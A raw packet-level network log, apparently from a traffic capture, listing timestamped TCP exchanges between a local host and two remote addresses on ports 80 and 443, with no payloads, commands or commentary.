Nov 18, 2024 05:57:54.584248066 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.584297895 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.584311008 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.584331989 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.584364891 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.584397078 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.584430933 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.584459066 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.584511042 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.584553957 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.584553957 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.584553957 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.584562063 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.584604025 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.584659100 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.584676027 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.584698915 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.584714890 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.584733009 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.584748983 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.584764957 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.584780931 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.584813118 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.584826946 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.584844112 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.584861040 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.584877014 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.584877014 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.584912062 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.584944010 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.584956884 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.584956884 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.584975958 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.585015059 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.585047007 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.585078955 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.585108042 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.585108042 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.585112095 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.585145950 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.585180044 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.585268974 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.585268974 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.624880075 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.624933004 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.624963999 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.625057936 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.658881903 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.662251949 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.662308931 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.662343025 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.662377119 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.662405014 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.662410975 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.662484884 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.662484884 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.663774014 CET	443	60464	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:54.663938046 CET	443	60464	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:54.664022923 CET	60464	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:54.664217949 CET	60464	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:54.664217949 CET	60464	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:54.664231062 CET	443	60464	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:54.664239883 CET	443	60464	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:54.666963100 CET	60469	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:54.667010069 CET	443	60469	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:54.667083025 CET	60469	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:54.667238951 CET	60469	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:54.667256117 CET	443	60469	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:54.675173998 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.702924013 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.702965975 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.703042984 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.703093052 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.703128099 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.703170061 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.703170061 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.703178883 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.703231096 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.703282118 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.703284025 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.703330994 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.703351974 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.703387022 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.703423977 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.703474045 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.703507900 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.703541040 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.703576088 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.703608990 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.703660965 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.703696966 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.703731060 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.703763962 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.703807116 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.703876019 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.703910112 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.703921080 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.703921080 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.703921080 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.703921080 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.703921080 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.703921080 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.703943014 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.703977108 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.704010010 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.704044104 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.704046965 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.704101086 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.704149008 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.704169989 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.704169989 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.704180956 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.704214096 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.704246044 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.704298973 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.704335928 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.704386950 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.704413891 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.704413891 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.704413891 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.704421997 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.704457045 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.704489946 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.704524040 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.704574108 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.704607010 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.704636097 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.704668999 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.704701900 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.704730988 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.704782009 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.704826117 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.704826117 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.704826117 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.704826117 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.704826117 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.704826117 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.704837084 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.704870939 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.704922915 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.704955101 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.704969883 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.704994917 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.705028057 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.705060959 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.705094099 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.705127001 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.705154896 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.705188036 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.705221891 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.705252886 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.705286026 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.705318928 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.705334902 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.705334902 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.705334902 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.705334902 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.705334902 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.705353022 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.705394983 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.705430984 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.705460072 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.705466032 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.705475092 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.741066933 CET	443	60466	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:54.741714954 CET	60466	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:54.741738081 CET	443	60466	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:54.742141008 CET	60466	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:54.742146015 CET	443	60466	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:54.744457006 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.744493008 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.744550943 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.744579077 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.744611979 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.744635105 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.781908035 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.781946898 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.782001019 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.782037020 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.782071114 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.782088041 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.782088041 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.782107115 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.782152891 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.782732964 CET	443	60465	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:54.783371925 CET	60465	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:54.783389091 CET	443	60465	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:54.783797026 CET	60465	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:54.783802032 CET	443	60465	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:54.814770937 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.822462082 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.822501898 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.822537899 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.822613001 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.822730064 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.822784901 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.822824001 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.822856903 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.822910070 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.822910070 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.822910070 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.822941065 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.822983027 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.822994947 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.823046923 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.823066950 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.823082924 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.823136091 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.823174000 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.823215008 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.823215008 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.823226929 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.823260069 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.823328972 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.823334932 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.823390961 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.823425055 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.823458910 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.823507071 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.823507071 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.823514938 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.823568106 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.823601007 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.823616982 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.823637009 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.823672056 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.823723078 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.823776960 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.823812962 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.823827982 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.823863029 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.823872089 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.823898077 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.823931932 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.823965073 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.823998928 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.824032068 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.824065924 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.824069023 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.824080944 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.824080944 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.824099064 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.824152946 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.824179888 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.824203014 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.824239016 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.824271917 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.824306011 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.824338913 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.824372053 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.824373960 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.824378014 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.824403048 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.824454069 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.824476957 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.824490070 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.824523926 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.824558973 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.824592113 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.824634075 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.824664116 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.824687958 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.824692965 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.824739933 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.824774027 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.824807882 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.824841022 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.824856043 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.824875116 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.824908018 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.824942112 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.824961901 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.824974060 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.825006962 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.825037956 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.825042963 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.825052023 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.825078011 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.825110912 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.825145006 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.825177908 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.825212002 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.825246096 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.825264931 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.825264931 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.825280905 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.825383902 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.828464985 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.864897966 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.864948034 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.864984989 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.865039110 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.871494055 CET	443	60466	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:54.871627092 CET	443	60466	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:54.874690056 CET	60466	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:54.877684116 CET	60466	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:54.877684116 CET	60466	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:54.877703905 CET	443	60466	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:54.877715111 CET	443	60466	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:54.880402088 CET	60470	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:54.880441904 CET	443	60470	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:54.880530119 CET	60470	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:54.880683899 CET	60470	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:54.880701065 CET	443	60470	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:54.902057886 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.902211905 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.902245045 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.902246952 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.902282000 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.902314901 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.902323008 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.902353048 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.902388096 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.917129040 CET	443	60465	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:54.917176008 CET	443	60465	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:54.917248011 CET	60465	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:54.917444944 CET	60465	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:54.917458057 CET	443	60465	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:54.917467117 CET	60465	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:54.917473078 CET	443	60465	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:54.920397997 CET	60471	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:54.920434952 CET	443	60471	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:54.920593977 CET	60471	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:54.920823097 CET	60471	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:54.920838118 CET	443	60471	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:54.937928915 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.942451000 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.942461967 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.942481041 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.942498922 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.942517042 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.942560911 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.942629099 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.942645073 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.942673922 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.942692041 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.942711115 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.942739964 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.942755938 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.942775011 CET	60438	80	192.168.2.6	185.215.113.16
